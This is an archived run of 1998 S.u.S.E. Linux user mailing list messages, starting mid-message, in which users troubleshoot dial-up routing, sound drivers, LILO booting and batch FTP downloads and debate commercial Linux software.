server dont come back, wether i use numeric ip's or not. i cant even reach my=
=20
nameserver.



 



Any suggestions please?



 



AfterBurn



 





 



Unix is user friendly. It's just selectiv=
e about=20
who its friends are.



 



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From hettar@teleport.com Sun Jun 21 02:25:23 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 19:25:23 -0700
Message-ID: <358C6F13.7E6B49E5@teleport.com>
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Fred A. Miller wrote:

> Thanks to someone on the list, I now have a "good" file, however,
> oss-install won't run.  I get "command not found."  Wonderfull.  I'm not
> ready to go back to NT........yet.
>

Ok,

When downloading from Netscape  tryholding your left shift button and then
clicking on the file.

Next: OSS/Linux(20bucks)
well after uncomressing it
tar xzvf oss-linux-blah.blah.tar.gz
you will get 3 or 4 files
one is called
oss-install
type this without the quotes
"./oss-install"
if it comes up with sound driver error can not install
cause of sound module already loaded or something
like then type "rmmod sound"  and wait like a minute
or so and type "lsmod" to see if its still loaded then
go back and do an "./oss-install"  then you should be ok

But if you got a SB-64GOLD or AWE (isa/pnp) then
you should really think about compiling sound as a
module from compiling the Linux kernel.

Steven Udell
hettar(a)teleport.com

btw- SuSE put up Kernel 2.0.34 on its ftp site ;)


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From roberto@cbvcp.com Sun Jun 21 02:48:08 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 19:48:08 -0700
Message-ID: <358C7468.597A1D54@cbvcp.com>
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Michael Lankton wrote:
>=20
> I have set up awe32 and awe64 cards in linux, and they work just fine
> with the kernel drivers and isapnp.

The ensoniq is a pci card, so we don't have that option

> Like I've said before, OSS is nice
> if your card is unsupported by the kernel drivers or if spending $20 for
> your sound drivers psychologically makes you think things sound better.
> BTW, the registration key for OSS is easy enough to find on the web if
> you believe that commercial linux software is an oxymoron.

I don't think it is, and $20 isn't too much to pay for good working
sound, other than hearing the speaker on the case beep.  Commercial
software is just discovering linux, such as corel making a wordperfect
version for linux, and if the linux community is to keep those such
companies there, it won't be by ripping off their products just to save
some money.  I, for one, have recently discovered linux, and I would
like to keep it as my preferred platform, but if the commercial sector
moves out, never to come back, then I do believe that would be a sad
day, because with the commercial names, it is only logical that linux
will grow expontentially, there will be more tools for it, and it will
one day be easy for the novice computer user to just turn on their
computer and play away.

Also, if you are opposed to microsoft's business tactics in keeping
linux out of the mainstream, then commercial software will help us
defeat the evil empire.  Bill said "You don't have to use windows 95."=20
Well, it is up to the linux users of the world to show bill's sheep
there is a viable option, and they want to know that the same software
will be available in linux that they currently have in windows.

just a little point/counterpoint, nothing more.


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From mclark@datsrvr.datsit.com Sun Jun 21 02:55:27 1998
From: mclark@datsrvr.datsit.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sat, 20 Jun 1998 20:55:27 -0600
Message-ID: <358C761E.6688A570@datsit.com>
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AfterBurn wrote:

 Hi all, I
installed suse 5.2 and configured my isdn dial-up to my isp using yast.
Its *seems* to work ok, it dials in and i have a good connection, only
i cant get anywhere. If i try pinging different servers, the only one i
get a reply from is the gateway i dial to. pings to any other server dont
come back, wether i use numeric ip's or not. i cant even reach my nameserver.=
 Any
suggestions please? Aft=
erBurn E-Mail
: afterburn(a)phantom.cyb=
ercomm.nl

WWW : http://www.phantom.cybercomm.nl/default.html>

Express : 187800(a)pager.mirabilis.com Unix
is user friendly. It's just selective about who its friends are.  =20
=3D=3D=3D=3D=3D=3D<<< SCREAMIN' AT ISDN 64k/128kbps >>>=3D=3D=3D=3D=3D=3D

How does your routing table look??

How about your /var/log/messages??

Did you check ifconfig??

We need more info to help!!

mc

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From satan@nfinity.com Sun Jun 21 02:57:10 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sat, 20 Jun 1998 21:57:10 -0500
Message-ID: <358C7686.83F5DF7A@nfinity.com>
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> AfterBurn wrote:
> Any suggestions please?

Yes, don't send html to a mailing list.

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From satan@nfinity.com Sun Jun 21 04:01:28 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 23:01:28 -0500
Message-ID: <358C8598.48D81A4F@nfinity.com>
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Aaron Seelye wrote:
> 
> Michael Lankton wrote:
> >
> > I have set up awe32 and awe64 cards in linux, and they work just fine
> > with the kernel drivers and isapnp.
> 
> The ensoniq is a pci card, so we don't have that option

The thread I was responding to was re. an awe64.
 
> I don't think it is, and $20 isn't too much to pay for good working
> sound, other than hearing the speaker on the case beep.  Commercial
> software is just discovering linux, such as corel making a wordperfect
> version for linux, and if the linux community is to keep those such
> companies there, it won't be by ripping off their products just to save
> some money.  I, for one, have recently discovered linux, and I would
> like to keep it as my preferred platform, but if the commercial sector
> moves out, never to come back, then I do believe that would be a sad
> day,

Commercial software producers haven't embraced linux at all.  There is
very little in the way of commercial software.  There are free offerings
from commercial software developers, like netscape, acroread, etc,  but
there is little in the way of commercial software.  Would I pay for
something I could use in another os for free?  No.  Would I pay for an
office suite like applix or word perfect when I can download and use
Staroffice for free?  No.  And the fact is, the linux community at large
has a gnu mentality.  There will always be a tendency to adopt free over
commercial software.  I have no problem buying software that I feel
represents a good value.  I buy SuSE at $40, 3 times a year, because I
think it's the best distribution there is.  I spend over a thousand
dollars a year on pc and console games.  I buy software I need to use
for school instead of telnetting to my shell at school and using the
school's software.  I buy A LOT of software.  I just don't understand
why people like oss are charging for something that should be free.  Do
you pay for your sound drivers in nt?  No.  I understand that oss is
providing a service that the sound card manufacturer's aren't, and that
they have the right to seek compensation for their work and you have the
right to be happy to give them your money and I have the right to feel
that it should be free software.

> Also, if you are opposed to microsoft's business tactics in keeping
> linux out of the mainstream, then commercial software will help us
> defeat the evil empire.  Bill said "You don't have to use windows 95."

I have never taken the position that I hate microsoft or their os'es.  I
think they make an inferior os, I much prefer unix, but I dual boot
win95 and there are a lot of apps that I like.  Bill doesn't care what
os you use.  Microsoft os'es are installed on +900f home computers
manufactured, and that won't change in his lifetime.  Frankly I don't
understand the whole "us against them" mindset.  I use linux, I love
linux.  Actually I love unix, and linux just happens to be a flavor that
is easy to run on my home box.  I use OSF1 all day at school, and it's
nice to have a similar (actually, superior) environment to come home
to.  I don't care what os anyone else uses, and most of the brain deads
out there can't point and click their way past the windows desktop, much
less use linux.

I don't know that linux has to change directions at all.  It seems to me
to be thriving, and people like the Gnome project, kde, and Redhat are
doing their part to make it more accessible to Joe Pc User.  That will
only increase the momentum, and the population of the community. 

Sheesh, sorry for the long post

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From afterburn@phantom.cybercomm.nl Sun Jun 21 05:15:58 1998
From: afterburn@phantom.cybercomm.nl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 07:15:58 +0200
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>Yes, don't send html to a mailing list.

Sorry for the inconvenience.

AfterBurn

E-Mail : afterburn(a)phantom.cybercomm.nl
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From afterburn@phantom.cybercomm.nl Sun Jun 21 05:18:40 1998
From: afterburn@phantom.cybercomm.nl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 07:18:40 +0200
Message-ID: <002301bd9cd4$0d31a8c0$6471ebc2@cybercomm.nl>
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 Hi=20
    all, I installed suse=
 5.2=20
    and configured my isdn dial-up to my isp using yast. Its *seems* to work =
ok,=20
    it dials in and i have a good connection, only i cant get anywhere. If i =
try=20
    pinging different servers, the only one i get a reply from is the gateway=
 i=20
    dial to. pings to any other server dont come back, wether i use numeric i=
p's=20
    or not. i cant even reach my nameserver. Any suggestions please? AfterBurn E-

  How does your routing table look?? 



How about your /var/log/messages?? 


Did you check ifconfig??=20

We need more info to help!!=20

Where do i find all that, and what kind of info are you exactly looking=20
  for?


AfterBurn


E-Mail : afterburn(a)phantom.cyberc=
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Unix is user friendly. It's just selective about who its friends are.


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From phil@stokes.demon.co.uk Sun Jun 21 08:51:00 1998
From: phil@stokes.demon.co.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sun, 21 Jun 1998 09:51:00 +0100
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On Sat, 20 Jun 1998, Christopher L Miller wrote:
> 
> it is.. but it dosn't seem to make TKDESK happy
> 
> On Sat, 20 Jun 1998, you wrote:
> >Actually it's more elegant to symlink netscape to a dir in your path,
> >like
> >ln -s /opt/netscape/netscape /usr/X11R6/bin/netscape
> >
> >Or, if it's a directory that you execute from a lot, like /opt/kde/bin
> >for kde users, then I would add /opt/kde/bin to your path in
> >/etc/profile.
> >
> >Christopher L Miller wrote:
> >> 
> >> #locate netscape
> >> 
> >> find the exec file, move it to /usr/bin   tkdesk seems to be happy

I've symlinked it to /usr/bin, and it's working fine now.

Thanks everyone for your help :) 

Phil

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From phil@stokes.demon.co.uk Sun Jun 21 08:54:01 1998
From: phil@stokes.demon.co.uk
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sun, 21 Jun 1998 09:54:01 +0100
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On Sat, 20 Jun 1998, Michael Lankton wrote:

> 
> I don't use tkdesk, but I would wager that it uses an rc file somewhere
> where stuff like that is defined.  

It uses several, in $HOME/.tkdesk. I found the one that defines netscape
command and changed it from "netscape" to "/opt/netscape/netscape" but
it didn't make any difference.

As mentioned in my other post though, symlinking netscape to /usr/bin
seems to have done the trick.
 
Phil

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From fmiller@lightlink.com Sun Jun 21 14:36:22 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sun, 21 Jun 1998 10:36:22 -0400
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Steven Udell wrote:
> 
> Fred A. Miller wrote:
> 
> > Thanks to someone on the list, I now have a "good" file, however,
> > oss-install won't run.  I get "command not found."  Wonderfull.  I'm not
> > ready to go back to NT........yet.
> >
> 
> Ok,
> 
> When downloading from Netscape  tryholding your left shift button and then
> clicking on the file.
> 
> Next: OSS/Linux(20bucks)
> well after uncomressing it
> tar xzvf oss-linux-blah.blah.tar.gz
> you will get 3 or 4 files
> one is called
> oss-install
> type this without the quotes
> "./oss-install"
> if it comes up with sound driver error can not install
> cause of sound module already loaded or something
> like then type "rmmod sound"  and wait like a minute
> or so and type "lsmod" to see if its still loaded then
> go back and do an "./oss-install"  then you should be ok
> 
> But if you got a SB-64GOLD or AWE (isa/pnp) then
> you should really think about compiling sound as a
> module from compiling the Linux kernel.

I have the AWE64....OSS drivers seem to work very well now.

Thanks!

Fred


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From fmiller@lightlink.com Sun Jun 21 14:41:40 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sun, 21 Jun 1998 10:41:40 -0400
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Aaron Seelye wrote:

[snip]
 
> Also, if you are opposed to microsoft's business tactics in keeping
> linux out of the mainstream, then commercial software will help us
> defeat the evil empire.  Bill said "You don't have to use windows 95."
> Well, it is up to the linux users of the world to show bill's sheep
> there is a viable option, and they want to know that the same software
> will be available in linux that they currently have in windows.
> 
> just a little point/counterpoint, nothing more.

And, the best written in some time.  SuSE and other providers of
Linux are all going in the same direction.  Linux has the potential to
be THE OS....period!!!  Yes, there are some who'd just as soon keep it a
secret...too bad.  The secret is "out."  Linux DESERVES to the the OS
for everyone....those who don't want to know anything about it, and
those who like to muck around at the kernel.  The more support it gets
from ALL "directions" the better.

Best,

Fred


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From leonmcclatchey@homemail.com Sun Jun 21 16:04:32 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 11:04:32 -0500
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AfterBurn wrote:

>  Hi all, I installed suse 5.2 and configured my isdn dial-up to my isp
> using yast. Its *seems* to work ok, it dials in and i have a good
> connection, only i cant get anywhere. If i try pinging different
> servers, the only one i get a reply from is the gateway i dial to.
> pings to any other server dont come back, wether i use numeric ip's or
> not. i cant even reach my nameserver. Any suggestions please?

When I had this problem, it was because I had the wrong nameserver set
up for my IPS, When I called them and got the right numbers, it worked
correctly:-)


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From afterburn@phantom.cybercomm.nl Sun Jun 21 16:59:19 1998
From: afterburn@phantom.cybercomm.nl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 18:59:19 +0200
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>>  Hi all, I installed suse 5.2 and configured my isdn dial-up to my isp
>> using yast. Its *seems* to work ok, it dials in and i have a good
>> connection, only i cant get anywhere. If i try pinging different
>> servers, the only one i get a reply from is the gateway i dial to.
>> pings to any other server dont come back, wether i use numeric ip's or
>> not. i cant even reach my nameserver. Any suggestions please?
>
>When I had this problem, it was because I had the wrong nameserver set
>up for my IPS, When I called them and got the right numbers, it worked
>correctly:-)

Its not the nameservers, i know those are correct. Problems, i cant even get
to the nameserver. All i seem to be able to reach is the gatewayserver whne
i use its numeric ip, everything else doesnt seem to excist, even when i try
numeric ip's.

AfterBurn

E-Mail : afterburn(a)phantom.cybercomm.nl
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From hatridge@straubing.baynet.de Sun Jun 21 17:48:11 1998
From: hatridge@straubing.baynet.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Sun, 21 Jun 1998 19:48:11 +0200
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On Sat, 20 Jun 1998, Juergen Braukmann wrote:

>=20
> Hello Everybody,
>=20
> I want to download packages from ftp-servers. (i.e. ftp.suse.com) in
> batch mode.
> I have tried "ftp  request.
> when I press return on the keyboard, the job continues running.
>=20
> I do not like to set the alarm clock to 2am (phone company charges less
> then), when "at" can handle this much better.
>=20
> Ideas?
>=20
> J=C3=BCrgen
>=20
> ps: i know about "rpm -U ...", works fine, but I want the package for
> the second system as well.
>=20

Hi Juergen!

Looking in my SuSE manual it says to login as ftp. When I want to d/l
anything there I use Midnight Commander with "cd ftp://ftp(a)ftp.suse.de">ftp(a)ftp.suse.deftp://ftp(a)ftp.suse.de<=
/A>"
this lets me do what ever I want. I'll admit that I've not tried batch
file d/l'ing so I don't know if this is what you want.=20

I hope this helps!

JIM

-----------------------------------------
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Germany=20
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From brauki@cityweb.de Sun Jun 21 20:33:13 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Sun, 21 Jun 1998 22:33:13 +0200
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Jim Hatridge wrote:
>=20
> On Sat, 20 Jun 1998, Juergen Braukmann wrote:
>=20
> >
> > Hello Everybody,
> >
> > I want to download packages from ftp-servers. (i.e. ftp.suse.com) in
> > batch mode.
> >
> > [...]
> >
> > Ideas?
> >
> > J=C3=BCrgen
> >
=20
> Hi Juergen!
>=20
> Looking in my SuSE manual it says to login as ftp. When I want to d/l
> anything there I use Midnight Commander with "cd ftp://ftp(a)ftp.suse.de">ftp(a)ftp.suse.deftp://ftp(a)ftp.suse.d=
e>"
> this lets me do what ever I want. I'll admit that I've not tried batch
> file d/l'ing so I don't know if this is what you want.
>=20

Hi Jim,

as I mentioned, I've found the solution. Never the less, all other tips
are usefull as well. did not thought that "mc" is like that. Did not
know until a few days ago that "mc" can browse disks as well. ;-))

But I wanted _realy_ download at night when phone rates are cheap.
(furthermore: my ISP does not charge time between uhh 0:00 and 6:00 am).
But I did not want to use the alarmclock. ;-)

If you create the file .netrc in your home directrory, with entrys like:

default user anonymous password email(a)adress.de

these defaults are used when you start ftp. (no other way to get behind
that password request of ftp)

I now can use:

ftp < script.ftp

with script.ftp like:
open ftp.suse.com
cd /suse_update
get whatever/you/want /were/ever/it/goes/to
get anything_else=20
....
quit

I start this with "at", that makes it a nice method after all.
fetched ghostscript update last night ;-))

cheers=20

J=C3=BCrgen


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From brauki@cityweb.de Sun Jun 21 20:37:41 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 22:37:41 +0200
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AfterBurn wrote:
> 
> >>  Hi all, I installed suse 5.2 and configured my isdn dial-up to my isp
> >> using yast. Its *seems* to work ok, it dials in and i have a good
> >> connection, only i cant get anywhere. If i try pinging different
> >> servers, the only one i get a reply from is the gateway i dial to.
> >> pings to any other server dont come back, wether i use numeric ip's or
> >> not. i cant even reach my nameserver. Any suggestions please?
> >
> >When I had this problem, it was because I had the wrong nameserver set
> >up for my IPS, When I called them and got the right numbers, it worked
> >correctly:-)
> 
> Its not the nameservers, i know those are correct. Problems, i cant even get
> to the nameserver. All i seem to be able to reach is the gatewayserver whne
> i use its numeric ip, everything else doesnt seem to excist, even when i try
> numeric ip's.
> 

if it's not name servers it might be routing. try "route" after dial-in.
see what route is default.
do an "route add default ppp0". 
(default routing should be set by your pppd options in ppp-up, think it
was a parameter called "defaultroute")
after that, things should work.

Jürgen


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From leonmcclatchey@homemail.com Sun Jun 21 21:19:17 1998
From: leonmcclatchey@homemail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 16:19:17 -0500
Message-ID: <358D78D5.9D06AEDC@homemail.com>
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AfterBurn wrote:

> Its not the nameservers, i know those are correct. Problems, i cant even get
> to the nameserver. All i seem to be able to reach is the gatewayserver whne
> i use its numeric ip, everything else doesnt seem to excist, even when i try
> numeric ip's.

I had a similar problem when I was running the tcp/ip under os/2.  The problem
then was that I had my dialer set up to dial the nameserver instead of the
gateway.  Under Os/2, I didn't have to worry about any name resolvers, (that
was all taken care of automatically), but I think that under Linux, you may
need to check your hosts file to make sure that it is not specifying your ips=
's
nameserver dns number?  I do know that I had to set up resolve.conf (via yast)
so that it looked at the dns number for my ips's nameserver, and then my hosts
specifies a different number for my ips?  (Mainly because I remembered the
problem that I had with the tcp/ip dialer connection under os2).  Whoops, I
just checked my files, both /etc/host.conf and /etc/resolv.conf list the same
number, but I believe from when I first installed Linux, both had to have an
entry that pointed to your ips?

> AfterBurn
>
> E-Mail : afterburn(a)phantom.cybercomm.nl
> WWW : http://www.phantom.cybercomm.=
nl/default.html>
> Express : 187800(a)pager.mirabilis.com
>
> Unix is user friendly. It's just selective about who its friends are.
>
>    =3D=3D=3D=3D=3D=3D<<< SCREAMIN' AT ISDN 64k/128kbps >>>=3D=3D=3D=3D=3D=3D
>
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From deem@wdm.com Sun Jun 21 21:21:54 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] sound in a stock fvwm2 desktop ?
Date: Sun, 21 Jun 1998 13:21:54 -0800
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Any have sound working in the stock fvwm2 desktop with SuSE 5.2 
from the configuration below ?

#
# general
#
*FvwmAudioPlayCmd                       /usr/bin/rplay
*FvwmAudioRplayVolume                   127

#
# delay in secons between to sounds
#
*FvwmAudioDelay                         1

#
# the sounds
#
*FvwmAudio      startup                 gate.au
*FvwmAudio      startup                 gate.au
*FvwmAudio      shutdown                hyperspace.au
*FvwmAudio      unknown                 beep_kind_warning.au
*FvwmAudio      add_window              weeek.au
*FvwmAudio      raise_window            click.au
*FvwmAudio      lower_window            bass-snap.au
*FvwmAudio      focus_change            shootdeath.au
*FvwmAudio      destroy_window          ouch.au
*FvwmAudio      iconify                 ball2ball.au
*FvwmAudio      deiconify               doorbell.au

*FvwmAudio    toggle_paging           fwop.au
*FvwmAudio    new_page                beam_trek.au
*FvwmAudio    new_desk                beam_trek.au
*FvwmAudio    configure_window        huh.au
*FvwmAudio    window_name             beep.au
*FvwmAudio    icon_name               beep.au
*FvwmAudio    res_class               beep.au
*FvwmAudio    res_name                beep.au
*FvwmAudio    end_windowlist          twang.au


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From pmoon@mindspring.com Mon Jun 22 06:48:09 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPPD Deamon
Date: Mon, 22 Jun 1998 02:48:09 -0400
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>> I am trying to get my ppp connection to the net working under S.u.S.E. 5.2
>> fresh install. I have X up and running and am using the KDE window manager.
>> I was trying to config my dial up using an applet called KDPPP I think is
>> the name, nice config panel. Anyway, all seems to function correctly to the
>> point of connection and login script execution. The Login id goes in and
>> then the prompt for Password and it is sent. And at this point (when the
>> ppp handshake starts) I get a message on the debug console that says PPD
>> Deamon died unexpectedly and that is the end of the connection attempt. The
>> connection drops 30 seconds later or so later.
>> 	Any ideas or things to look at would be greatly appreciated.
>
>Check /etc/ppp/options. It has to be empty for kppp to work.
>
>Ciao,
>	Stefan

Thank's guy's, that was it! :-)

Perry Moon


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From pmoon@mindspring.com Mon Jun 22 06:50:16 1998
From: pmoon@mindspring.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPPD Deamon
Date: Mon, 22 Jun 1998 02:50:16 -0400
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>>ppp handshake starts) I get a message on the debug console that says PPD
>>Deamon died unexpectedly and that is the end of the connection attempt. The
>>connection drops 30 seconds later or so later.
>>	Any ideas or things to look at would be greatly appreciated.
>>
>>Perry K. Moon
>>pmoon(a)mindspring.com
>>
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>I've had this problem too try to erase "lock" from pppd.options
>Or read help to kppp.

Thanks, that was it along with some minor adjustment to the hosts and
resolv files..

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From jpcowh01@ox.slug.louisville.edu Mon Jun 22 07:25:40 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Mon, 22 Jun 1998 03:25:40 -0400
Message-ID: <199806220725.DAA05067@ox.slug.louisville.edu>
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> > pings to any other server dont come back, wether i use numeric ip's or
> > not. i cant even reach my nameserver. Any suggestions

Are you masqing IP?  Does your gateway proxy your ip?

> How does your routing table look??
> How about your /var/log/messages??
> Did you check ifconfig??

These questions too...

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                                      Jonathan


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From: jpcowh01@ox.slug.louisville.edu
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Subject: Re: [S.u.S.E. Linux] problem installing internet
Date: Mon, 22 Jun 1998 03:37:12 -0400
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> > I wait your answer, in the meaning I try to change the configuration of t=
he
> > rc.config..........
> Here's my section for an example:
> #
> # domain searchlist that should be used in /etc/resolv.conf
> # (e.g. "suse.de linux.de uni-stuttgart.de")
> # Attention! this has to be filled out, if you want to access a name server
> #
> SEARCHLIST=3D"iliamna.gci.net spurr.gci.net" <-- These are the nameservers =
of my ISP.
>             ^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^
> #
> # space separated list of nameservers that should be used for /etc/resolv.c=
onf
> # give a maximum of 3 IP numbers
> # (e.g. "192.168.116.11 192.168.7.7")
> #
> NAMESERVER=3D"208.138.130.16 206.96.62.16" <-- These are the IP addresses o=
f the nameservers of my ISP.
>             ^^^^^^^^^^^^^^ ^^^^^^^^^^^^
> These need defining on your system as well.=20
> Best Regards
> -Dee

I personally believe that YaST setups up your network quite easily, without m=
anually editing the various files in /etc or /sbin.  The only time I really g=
o into those files is to see what settings are stored there.  It helps me a l=
ittle when I work with Caldera or Slackware to look at these files.

I am also assuming that you've tried YaST and it didn't work for you.

                                                                             =
                                                                             =
                      Jonathan

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From jpcowh01@ox.slug.louisville.edu Mon Jun 22 07:50:32 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Kernel-patching
Date: Mon, 22 Jun 1998 03:50:32 -0400
Message-ID: <199806220750.DAA05142@ox.slug.louisville.edu>
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>=20
> Seems to be what someone posted, recently when the last stable patch came
> out. I did this....and it worked o.k.
>=20
> > Is ist true, that when updating a suse-kernel,
> > you need the original kernel, clean,
> > than patch this to the new version,
> > and then apply only one suse-patch to the latest original kernel?
> >=20

I believe that SuSE Kernal source is differant that the original kernal sourc=
e.  SuSE's Kernal source have various patches alreadly applied to them and pa=
tching SuSE Kernal source with regular kernal patches sometimes results in a =
error.  I've found the best thing to do is to either wait til SuSE comes out =
with a patch for their source code(s), or download their entire source code a=
nd compile for scratch.

                                                                             =
                                                                             =
                              Jonathan


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From jpcowh01@ox.slug.louisville.edu Mon Jun 22 07:56:48 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] upgrading from 5.1 to 5.2
Date: Mon, 22 Jun 1998 03:56:48 -0400
Message-ID: <199806220756.DAA05170@ox.slug.louisville.edu>
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>=20
> I am currently running 5.1, and recently ordered 5.2 from linuxmall (the
> freeware version).  if i just pop the cd in, let yast do it's thing with
> upgrading and all, what, if any, problems should i expect?
>=20
>=20

SuSEConfig overwrites a lot of differant files like sendmail.cf in /etc.  I w=
ould make a back up of /etc and your current working stable kernal before doi=
ng an update in YaST.

                                                                             =
                                                                             =
              Jonathan

--=20
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edu/~jpcowh01>

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From nelsen@telusplanet.net Mon Jun 22 14:40:41 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] boot affected
Date: Mon, 22 Jun 1998 08:40:41 -0600
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Hi,

Newbie here.  Last week I used YaST to install SuSE 5.2.  Had it put LILO
in  /dev/hdc1 [not MBR] and am calling that with System Commander in the
MBR of /dev/hda.  That worked great.  Then when it was evident that the
XF86 binary had not been installed, I used YaST to install that X package
only.  Now the X-Windows works but when System Commander calls LILO, I see:

lilo..........

and it just sits there.  So I'm now getting into 5.2 via a boot to the CD.
This works of course, but I would love to fix the LILO and learn from the
problem.  

A look at the LILO config file showed no reference to startx & the real
operative line seemed to be simply: 

image = /vmlinuz

Any thoughts?  Thanks,

Dave

 

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From fsavoir@amazingstudio.com Mon Jun 22 15:27:13 1998
From: fsavoir@amazingstudio.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Intel Express Pro adn ISAPNP ?
Date: Mon, 22 Jun 1998 17:27:13 +0200
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Hello,

I would like to know if someone know if it's possible to use a Intel
Etherexpress Pro in ISAPNP mode ?

Thank you very much for any help.

Fred

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From rb@suse.de Mon Jun 22 15:40:46 1998
From: rb@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] boot affected
Date: Mon, 22 Jun 1998 17:40:46 +0200
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Hi,

>Newbie here.  Last week I used YaST to install SuSE 5.2.  Had it put LILO
>in  /dev/hdc1 [not MBR] and am calling that with System Commander in the
>MBR of /dev/hda.  That worked great.  Then when it was evident that the
>XF86 binary had not been installed, I used YaST to install that X package
>only.  Now the X-Windows works but when System Commander calls LILO, I see:

>
>lilo..........
>
>and it just sits there.  So I'm now getting into 5.2 via a boot to the CD.
>This works of course, but I would love to fix the LILO and learn from the
>problem.  
>
>A look at the LILO config file showed no reference to startx & the real
>operative line seemed to be simply: 
>
>image = /vmlinuz
>
>Any thoughts?  Thanks,

I had similar problems, when I resized and converted a FAT32 partition
using SC. It appears as if this has an effect on other partitions 
as well. Try reinstalling lilo into the BR of the Linux root partition
(i.e. /dev/hdc1).  However I'm pretty sure that this has nothing to do 
with YaST (--> installation of X packages).

Have a nice day,
Ruediger Berlich
[rb(a)suse.de]

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From schullersite@NOSPAMworldnet.att.net.suse.de Mon Jun 22 15:48:34 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] boot affected
Date: Mon, 22 Jun 1998 10:48:34 -0500
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David Nelsen wrote:
> 
> Hi,
> 
> Newbie here.  Last week I used YaST to install SuSE 5.2.  Had it put LILO
> in  /dev/hdc1 [not MBR] and am calling that with System Commander in the
> MBR of /dev/hda.  That worked great.  Then when it was evident that the
> XF86 binary had not been installed, I used YaST to install that X package
> only.  Now the X-Windows works but when System Commander calls LILO, I see:
> 
> lilo..........
> 
> and it just sits there.  So I'm now getting into 5.2 via a boot to the CD.
> This works of course, but I would love to fix the LILO and learn from the
> problem.
> 
> A look at the LILO config file showed no reference to startx & the real
> operative line seemed to be simply:
> 
> image = /vmlinuz
> 
> Any thoughts?  Thanks,
> 
> Dave
> 
> 
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Two things I can think of:

Using System Commander, verify that your boot Linux partition is showing
up as an active (bootable) partition.

If that doesn't work, boot into Linux using a boot disk and rerun lilo. 
See what the dialog it spits out gives you.

Usually (it happened to me twice) it's just a matter of your root
partition not being active.  Hope this helps.

Ken


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From arunkhan@xnet.com Mon Jun 22 15:50:09 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Internet question
Date: Mon, 22 Jun 1998 10:50:09 -0500
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At 18:59 98/06/21 +0200, you wrote:
>
>Its not the nameservers, i know those are correct. Problems, i cant even get
>to the nameserver. All i seem to be able to reach is the gatewayserver whne
>i use its numeric ip, everything else doesnt seem to excist, even when i try
>numeric ip's.
>
>AfterBurn

When you say "able to reach is the gatewayserver"  I presume you get ping
responses from it.  Don't know if you static IP from your ISP.  If so,
double check that the correct IP number is being provided in your scripts.
Just a thought.

-- Arun Khan

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From arunkhan@xnet.com Mon Jun 22 16:19:33 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] upgrading from 5.1 to 5.2
Date: Mon, 22 Jun 1998 11:19:33 -0500
Message-ID: <3.0.5.32.19980622111933.007c3e50@quake.xnet.com>
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At 03:56 98/06/22 -0400, you wrote:
>
>> 
>> I am currently running 5.1, and recently ordered 5.2 from linuxmall (the
>> freeware version).  if i just pop the cd in, let yast do it's thing with
>> upgrading and all, what, if any, problems should i expect?
>> 
>> 

I am considering an upgrade from 5.1 to 5.2 as well.  I have named
configured, debugged and working for my intranet.  I believe the bind
package in 5.2 requires a different format for some of the named config files.

Is there a conversion tool OR is the new version backwards compatible with
the older format of the config files?  

Would like to hear from those who have made the transition to the latest
version of bind.

Thx,
Arun Khan

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From nelsen@telusplanet.net Mon Jun 22 17:08:09 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] boot affected
Date: Mon, 22 Jun 1998 11:08:09 -0600
Message-ID: <98Jun22.110834-0600_mdt.268201-13950+39@mail.telusplanet.net>
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At 6/22/1998, you wrote:
>
>Two things I can think of:
>
>Using System Commander, verify that your boot Linux partition is showing
>up as an active (bootable) partition.
>
